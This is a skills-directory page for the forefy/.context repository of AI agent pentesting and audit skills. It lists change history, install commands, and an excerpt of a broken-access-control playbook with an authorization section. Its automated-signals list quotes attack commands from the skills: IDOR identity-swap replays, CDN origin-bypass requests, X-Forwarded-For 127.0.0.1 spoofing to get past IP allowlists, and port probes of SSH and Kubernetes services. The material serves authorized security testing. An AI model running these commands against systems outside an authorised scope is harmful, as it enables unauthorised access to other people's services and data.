Not in the top 1,000 by GitHub stars

forefy/.context

AI Agent Skills, Goals and Dynamic Workflows for Security Auditing, Pentesting and Research

History

Review weekly changes to SKILL.md before updating. Dates mark the weeks in which we observed each version; checks apply to the recorded commits.

View weekly changes

skills/applicative-pentest/broken-access-control/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

d3176f71d22a → 0c1bc93fd512

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → d3176f71d22a

No earlier version was observed for comparison.

Compare on GitHub

skills/applicative-pentest/cdn-peek/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

d3176f71d22a → 0c1bc93fd512

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → d3176f71d22a

No earlier version was observed for comparison.

Compare on GitHub

skills/applicative-pentest/http-request-smuggling/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

d3176f71d22a → 0c1bc93fd512

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → d3176f71d22a

No earlier version was observed for comparison.

Compare on GitHub

skills/applicative-pentest/jwt-attacks/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

d3176f71d22a → 0c1bc93fd512

A local comparison is unavailable. You can inspect the recorded versions on GitHub.

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → d3176f71d22a

No earlier version was observed for comparison.

Compare on GitHub

skills/applicative-pentest/ssrf-oob/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

d3176f71d22a → 0c1bc93fd512

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → d3176f71d22a

No earlier version was observed for comparison.

Compare on GitHub

skills/applicative-pentest/webapp-probe/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

d3176f71d22a → 0c1bc93fd512

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → d3176f71d22a

No earlier version was observed for comparison.

Compare on GitHub

skills/blockchain/blockchain-forensics/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

d3176f71d22a → 0c1bc93fd512

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → d3176f71d22a

No earlier version was observed for comparison.

Compare on GitHub

skills/blockchain/foundry-poc/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

d3176f71d22a → 0c1bc93fd512

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → d3176f71d22a

No earlier version was observed for comparison.

Compare on GitHub

skills/blockchain/safe-hunt/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

d3176f71d22a → 0c1bc93fd512

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → d3176f71d22a

No earlier version was observed for comparison.

Compare on GitHub

skills/blockchain/smart-contract-audit/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

d3176f71d22a → 0c1bc93fd512

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → d3176f71d22a

No earlier version was observed for comparison.

Compare on GitHub

skills/cloud/cloud-bucket-brute/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

d3176f71d22a → 0c1bc93fd512

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → d3176f71d22a

No earlier version was observed for comparison.

Compare on GitHub

skills/cloud/infrastructure-audit/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

d3176f71d22a → 0c1bc93fd512

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → d3176f71d22a

No earlier version was observed for comparison.

Compare on GitHub

skills/defensive/dylib-hijack-scan/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

d3176f71d22a → 0c1bc93fd512

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → d3176f71d22a

No earlier version was observed for comparison.

Compare on GitHub

skills/defensive/endpoint-threat-hunt/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

d3176f71d22a → 0c1bc93fd512

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → d3176f71d22a

No earlier version was observed for comparison.

Compare on GitHub

skills/defensive/parse-security/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

d3176f71d22a → 0c1bc93fd512

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → d3176f71d22a

No earlier version was observed for comparison.

Compare on GitHub

skills/generic-utils/agent-onboarding/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

d3176f71d22a → 0c1bc93fd512

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → d3176f71d22a

No earlier version was observed for comparison.

Compare on GitHub

skills/generic-utils/agentic-seo/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

d3176f71d22a → 0c1bc93fd512

A local comparison is unavailable. You can inspect the recorded versions on GitHub.

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → d3176f71d22a

No earlier version was observed for comparison.

Compare on GitHub

skills/generic-utils/context-window-to-skill/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

d3176f71d22a → 0c1bc93fd512

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → d3176f71d22a

No earlier version was observed for comparison.

Compare on GitHub

skills/generic-utils/git-commit/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

d3176f71d22a → 0c1bc93fd512

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → d3176f71d22a

No earlier version was observed for comparison.

Compare on GitHub

skills/generic-utils/keen-eyes/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 0c1bc93fd512

No earlier version was observed for comparison.

Compare on GitHub

skills/generic-utils/no-aispeak/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

d3176f71d22a → 0c1bc93fd512

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → d3176f71d22a

No earlier version was observed for comparison.

Compare on GitHub

skills/generic-utils/secure-1pass-access/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

d3176f71d22a → 0c1bc93fd512

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → d3176f71d22a

No earlier version was observed for comparison.

Compare on GitHub

skills/generic-utils/self-improve/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

d3176f71d22a → 0c1bc93fd512

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → d3176f71d22a

No earlier version was observed for comparison.

Compare on GitHub

skills/generic-utils/shadow-partner/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 0c1bc93fd512

No earlier version was observed for comparison.

Compare on GitHub

skills/generic-utils/training-guide/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

d3176f71d22a → 0c1bc93fd512

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → d3176f71d22a

No earlier version was observed for comparison.

Compare on GitHub

skills/generic-utils/variant-table/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

d3176f71d22a → 0c1bc93fd512

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → d3176f71d22a

No earlier version was observed for comparison.

Compare on GitHub

skills/hunter-utils/audit-scope/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

d3176f71d22a → 0c1bc93fd512

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → d3176f71d22a

No earlier version was observed for comparison.

Compare on GitHub

skills/hunter-utils/auditor-quiz/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

d3176f71d22a → 0c1bc93fd512

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → d3176f71d22a

No earlier version was observed for comparison.

Compare on GitHub

skills/hunter-utils/evidence-capture/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 0c1bc93fd512

No earlier version was observed for comparison.

Compare on GitHub

skills/hunter-utils/evidence-video/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

d3176f71d22a → 0c1bc93fd512

A local comparison is unavailable. You can inspect the recorded versions on GitHub.

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → d3176f71d22a

No earlier version was observed for comparison.

Compare on GitHub

skills/hunter-utils/external-enumeration/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

d3176f71d22a → 0c1bc93fd512

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → d3176f71d22a

No earlier version was observed for comparison.

Compare on GitHub

skills/hunter-utils/gdocs-audit-report/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

d3176f71d22a → 0c1bc93fd512

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → d3176f71d22a

No earlier version was observed for comparison.

Compare on GitHub

skills/hunter-utils/hackerone-report/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

d3176f71d22a → 0c1bc93fd512

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → d3176f71d22a

No earlier version was observed for comparison.

Compare on GitHub

skills/hunter-utils/keen-eyes/SKILL.md

Week of Nov 2, 2026 · +0 / −22 lines

Before Not checked yet → After Not checked yet

d3176f71d22a → 0c1bc93fd512

SKILL.md was removed.

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → d3176f71d22a

No earlier version was observed for comparison.

Compare on GitHub

skills/hunter-utils/nuclei-suggest/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

d3176f71d22a → 0c1bc93fd512

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → d3176f71d22a

No earlier version was observed for comparison.

Compare on GitHub

skills/hunter-utils/pre-bounty/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

d3176f71d22a → 0c1bc93fd512

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → d3176f71d22a

No earlier version was observed for comparison.

Compare on GitHub

skills/hunter-utils/sandboxed-audit-runner/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

d3176f71d22a → 0c1bc93fd512

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → d3176f71d22a

No earlier version was observed for comparison.

Compare on GitHub

skills/hunter-utils/tiny-auditor/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

d3176f71d22a → 0c1bc93fd512

A local comparison is unavailable. You can inspect the recorded versions on GitHub.

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → d3176f71d22a

No earlier version was observed for comparison.

Compare on GitHub

skills/hunter-utils/vm-lab/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

d3176f71d22a → 0c1bc93fd512

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → d3176f71d22a

No earlier version was observed for comparison.

Compare on GitHub

skills/llms/llm-fuzz-tools/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

d3176f71d22a → 0c1bc93fd512

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → d3176f71d22a

No earlier version was observed for comparison.

Compare on GitHub

skills/llms/mcp-server-pentest/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

d3176f71d22a → 0c1bc93fd512

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → d3176f71d22a

No earlier version was observed for comparison.

Compare on GitHub

skills/llms/prompt-injection-audit/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

d3176f71d22a → 0c1bc93fd512

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → d3176f71d22a

No earlier version was observed for comparison.

Compare on GitHub

View on GitHubAdd to my skills

Verified commit 0c1bc93fd5124e7a862d61c1b434f32ba8790e3a

git clone --filter=blob:none --no-checkout https://github.com/forefy/.context.git .hotskills/forefy-.context && git -C .hotskills/forefy-.context checkout --detach 0c1bc93fd5124e7a862d61c1b434f32ba8790e3a # Copy each selected skill directory from .hotskills/forefy-.context into .claude/skills/<skill-name>/
git clone --filter=blob:none --no-checkout https://github.com/forefy/.context.git .hotskills/forefy-.context && git -C .hotskills/forefy-.context checkout --detach 0c1bc93fd5124e7a862d61c1b434f32ba8790e3a # Copy each selected skill directory from .hotskills/forefy-.context into .github/skills/<skill-name>/
153GitHub stars
0stars in 7 days
40skills in this repository
62commits in 30 days

Heat

1.7
  • Star growth, last 7 daysNot available
  • Star growth, last 24 hoursNot available
  • Rank movement, last 7 daysNot available
  • Commits, last 30 daysNot available
  • Accounts asking about it through MCP, last 7 daysNot available
  • Hot votes this weekNot available

Heat never changes the order by stars, and sponsorship never touches it. How heat works

Stars over time

Oct 25, 2026Oct 25, 2026153

30-day change not yet available: not enough history.

Individual skills in this repository

How it works

broken-access-control

When your agent uses it

Replay captured requests with swapped identities and bumped object IDs to surface broken access control. Use when testing for IDOR or authz flaws.

What it loads into context

Frontmatter

35 tokens

Always available to the agent

SKILL.md

2,523 tokens

When the skill is activated

Reference documents

0 tokens

Loaded on request

Token counts are estimates. Scripts run separately; they are not counted as reference context.

The playbook

  1. Contents
  2. Scope & authorization
  3. Methodology (run in order; each step is a check with a result state)
  4. Runnable snippets
  5. IDOR numeric-parameter wordlist
  6. Thresholds (carry these exactly)
  7. Output

Files

  • SKILL.mdcore10,478 bytes
  • SKILL.mdcore10,478 bytes
  • SKILL.mdcore10,478 bytes
  • SKILL.mdcore10,478 bytes
  • SKILL.mdcore10,478 bytes
Read SKILL.md

## Contents
- Scope & authorization
- Methodology (baseline, identity-swap, numeric IDOR)
- Runnable snippets
- IDOR numeric-parameter wordlist
- Thresholds (carry these exactly)
- Output

## Scope & authorization

Only run against an application the user owns or is contractually engaged to test. This is an ACTIVE, aggressive check: it re-sends real requests to the target under different identities and with mutated object-ids, so it creates traffic, may read or touch other users' data, and can trip rate-limits or alerts. Use a staging environment or a maintenance window where you can, keep the identities and object-ids to accounts you control, and stop if you start returning data that clearly belongs to real third parties. If scope is unclear, ask before replaying.

Two things must exist before you start:
1. A capture of the target's traffic taken as a **privileged / higher-role user** (from a proxy, HAR export, or your own request log). Each captured request gives you the method, URL, headers, query params, cookies, and body.
View the complete source on GitHub

Skills included

  • broken-access-control
  • cdn-peek
  • http-request-smuggling
  • jwt-attacks
  • ssrf-oob
  • webapp-probe
  • blockchain-forensics
  • foundry-poc
  • safe-hunt
  • smart-contract-audit
  • cloud-bucket-brute
  • infrastructure-audit
  • dylib-hijack-scan
  • endpoint-threat-hunt
  • parse-security
  • agent-onboarding
  • agentic-seo
  • context-window-to-skill
  • git-commit
  • keen-eyes
  • no-aispeak
  • secure-1pass-access
  • self-improve
  • shadow-partner
  • training-guide
  • variant-table
  • audit-scope
  • auditor-quiz
  • evidence-capture
  • external-enumeration
  • gdocs-audit-report
  • hackerone-report
  • nuclei-suggest
  • pre-bounty
  • sandboxed-audit-runner
  • tiny-auditor
  • vm-lab
  • llm-fuzz-tools
  • mcp-server-pentest
  • prompt-injection-audit

Repository facts

License
MIT
Created
Feb 1, 2025
Last pushed
Nov 5, 2026
Forks
30
Open issues
0
Project activity
Active

Before you install

Network or broad shell

Automated signals, not a guarantee

Checked Nov 5, 2026

Not fully analyzed: some files were too long, unreadable or missing. This never lowers the level.

Show 115 notes
  • skills/applicative-pentest/broken-access-control/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/applicative-pentest/broken-access-control/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/applicative-pentest/broken-access-control/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/applicative-pentest/broken-access-control/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/applicative-pentest/cdn-peek/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/applicative-pentest/cdn-peek/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/applicative-pentest/cdn-peek/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/applicative-pentest/http-request-smuggling/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/applicative-pentest/http-request-smuggling/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/applicative-pentest/jwt-attacks/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/applicative-pentest/jwt-attacks/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/applicative-pentest/jwt-attacks/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/applicative-pentest/jwt-attacks/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/applicative-pentest/ssrf-oob/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/applicative-pentest/ssrf-oob/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/applicative-pentest/ssrf-oob/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/applicative-pentest/ssrf-oob/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/applicative-pentest/webapp-probe/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/applicative-pentest/webapp-probe/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/applicative-pentest/webapp-probe/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
Show all 586 signals by file

skills/applicative-pentest/broken-access-control/SKILL.md

  • Network accessline 47
    BASE="https://TARGET"
  • Network accessline 55
    # 2 baseline a captured request as the privileged user (status + body length) curl -sk -o /dev/null -w '%{http_code} %{size_download}b\n' \
  • Network accessline 56
    curl -sk -o /dev/null -w '%{http_code} %{size_download}b\n' \
  • Network accessline 62
    name="${id%%:*}"; rest="${id#*:}"; auth="${rest%%:*}"; cook="${rest#*:}"   printf '%-5s ' "$name"   curl -sk -o /dev/null -w '%{http_code} %{size_download}b\n' \
  • Network accessline 63
    printf '%-5s ' "$name"   curl -sk -o /dev/null -w '%{http_code} %{size_download}b\n' \     ${auth:+-H "$auth"} ${cook:+-b "$cook"} "$BASE$REQ"
  • Network accessline 64
    curl -sk -o /dev/null -w '%{http_code} %{size_download}b\n' \
  • Network accessline 89
    METHOD  = "GET" URL     = "https://TARGET/api/report"
  • Network accessline 90
    URL     = "https://TARGET/api/report"
  • Network accessline 97
    url = f"{URL}?{qs}" if qs else URL     data = BODY.encode() if isinstance(BODY, str) else BODY     req = urllib.request.Request(url, data=data, method=METHOD, headers=HEADERS)
  • Network accessline 98
    data = BODY.encode() if isinstance(BODY, str) else BODY     req = urllib.request.Request(url, data=data, method=METHOD, headers=HEADERS)     with urllib.request.urlopen(req, context=ctx) as r:
  • Network accessline 99
    req = urllib.request.Request(url, data=data, method=METHOD, headers=HEADERS)
  • Network accessline 100
    with urllib.request.urlopen(req, context=ctx) as r:

skills/applicative-pentest/cdn-peek/SKILL.md

  • Network accessline 33
    3. **CT lookup (free, no key, no brute).** One `curl` to crt.sh and certspotter for `*.domain`: enumerates subdomains and the host's own cert history. Flag any subdomain resolving to a non-edge IP; a Let's Encrypt / self-issued cert scoped 
  • Network accessline 34
    4. **Fingerprint every non-edge IP.** `dig -x` (reverse DNS), `whois` (ASN/hosting org), `curl` banner, `openssl s_client` cert CN/SAN/issuer. Reveals the hosting footprint even when the box isn't the origin. 5. **Host-confusion.** `curl --
  • Network accessline 35
    5. **Host-confusion.** `curl --resolve target:443:<IP>` with the target Host + SNI against each non-edge IP; compare title/body/length to the real fronted response. Same content = origin bypass; different (default vhost) = not the origin.
  • Network accessline 36
    6. **Response-header & error-page leak.** `curl -I` the target and a bogus path; inspect `Via`, `X-Cache`, `X-Served-By`, `X-Backend-Server`, `Server`, `X-Powered-By`, redirect `Location`, and verbose error bodies for internal hostnames or 
  • Network accessline 37
    7. **Client-IP header trust.** Send `X-Forwarded-For`, `X-Real-IP`, and the edge's own client-IP header (Step 0) = `127.0.0.1`; compare responses. Bypasses IP allowlist/geo/rate-limit logic - not the origin. A hardened edge rejects a client
  • Network accessline 38
    8. **Edge header tricks.** `X-Forwarded-Host`, `X-Original-URL`, blank/mismatched `Host` - test for cache/redirect poisoning, routing bypass, and header reflection in links. 9. **Confirm candidate origin.** For any candidate IP from steps 2
  • Network accessline 39
    9. **Confirm candidate origin.** For any candidate IP from steps 2/3/4: `curl -skI --resolve target:443:<IP>`. If it returns the target app and isn't firewalled to the edge ranges, it's a full bypass.
  • Network accessline 40
    10. **Port check on a confirmed origin.** `nc -z` the non-HTTP services the edge never proxies (SSH/22, k8s API/6443, kubelet/10250, DB/admin ports).
  • Network accessline 49
    for t in A AAAA CNAME TXT MX SOA SRV CAA; do echo "$t: $(dig +short TARGET $t | tr '\n' ' ')"; done; dig +short _dmarc.DOMAIN TXT # 3 CT lookup (subdomains + cert history, no key) curl -s "https://crt.sh/?q=%25.DOMAIN&output=json" | python3
  • Network accessline 50
    # 3 CT lookup (subdomains + cert history, no key) curl -s "https://crt.sh/?q=%25.DOMAIN&output=json" | python3 -c "import sys,json;print('\n'.join(sorted({n for x in json.load(sys.stdin) for n in x['name_value'].split(chr(10))})))" curl -s 
  • Dangerous shell operationline 51
    curl -s "https://crt.sh/?q=%25.DOMAIN&output=json" | python3 -c "import sys,json;print('\n'.join(sorted({n for x in json.load(sys.stdin) for n in x['name_value'].split(chr(10))})))"
  • Network accessline 51
    curl -s "https://crt.sh/?q=%25.DOMAIN&output=json" | python3 -c "import sys,json;print('\n'.join(sorted({n for x in json.load(sys.stdin) for n in x['name_value'].split(chr(10))})))"
  • Dangerous shell operationline 52
    curl -s "https://api.certspotter.com/v1/issuances?domain=DOMAIN&include_subdomains=true&expand=dns_names" | python3 -c "import sys,json;[print(n) for x in json.load(sys.stdin) for n in x.get('dns_names',[])]" | sort -u
  • Network accessline 52
    curl -s "https://api.certspotter.com/v1/issuances?domain=DOMAIN&include_subdomains=true&expand=dns_names" | python3 -c "import sys,json;[print(n) for x in json.load(sys.stdin) for n in x.get('dns_names',[])]" | sort -u
  • Network accessline 54
    dig -x IP +short; whois IP | grep -iE 'orgname|netname|origin|as[0-9]'; echo | openssl s_client -connect IP:443 -servername TARGET 2>/dev/null | openssl x509 -noout -subject -issuer -ext subjectAltName # 5 host-confusion curl -sk --resolve 
  • Network accessline 55
    # 5 host-confusion curl -sk --resolve TARGET:443:IP https://TARGET/ | python3 -c "import sys,re;h=sys.stdin.read();t=re.search(r'<title>(.*?)</title>',h,re.S);print('title:',t and t.group(1).strip(),'len:',len(h))" # 6 header / error leak
  • Dangerous shell operationline 56
    curl -sk --resolve TARGET:443:IP https://TARGET/ | python3 -c "import sys,re;h=sys.stdin.read();t=re.search(r'<title>(.*?)</title>',h,re.S);print('title:',t and t.group(1).strip(),'len:',len(h))"
  • Network accessline 56
    curl -sk --resolve TARGET:443:IP https://TARGET/ | python3 -c "import sys,re;h=sys.stdin.read();t=re.search(r'<title>(.*?)</title>',h,re.S);print('title:',t and t.group(1).strip(),'len:',len(h))"
  • Network accessline 57
    # 6 header / error leak curl -sI https://TARGET/ | grep -iE 'via|x-cache|x-served-by|x-backend|server|x-powered|location' curl -sk https://TARGET/nonexistent-$RANDOM | grep -oiE '([0-9]{1,3}\.){3}[0-9]{1,3}|[a-z0-9.-]+\.(internal|local|lan)
  • Network accessline 58
    curl -sI https://TARGET/ | grep -iE 'via|x-cache|x-served-by|x-backend|server|x-powered|location'
  • Network accessline 59
    curl -sk https://TARGET/nonexistent-$RANDOM | grep -oiE '([0-9]{1,3}\.){3}[0-9]{1,3}|[a-z0-9.-]+\.(internal|local|lan)'
  • Network accessline 60
    # 7 client-IP header trust  (swap EDGE_HEADER for the provider's own, from Step 0) for h in "X-Forwarded-For: 127.0.0.1" "X-Real-IP: 127.0.0.1" "EDGE_HEADER: 127.0.0.1"; do echo "[$h] $(curl -sk -o /dev/null -w '%{http_code} %{size_download
  • Network accessline 61
    for h in "X-Forwarded-For: 127.0.0.1" "X-Real-IP: 127.0.0.1" "EDGE_HEADER: 127.0.0.1"; do echo "[$h] $(curl -sk -o /dev/null -w '%{http_code} %{size_download}b' -H "$h" https://TARGET/)"; done
  • Network accessline 62
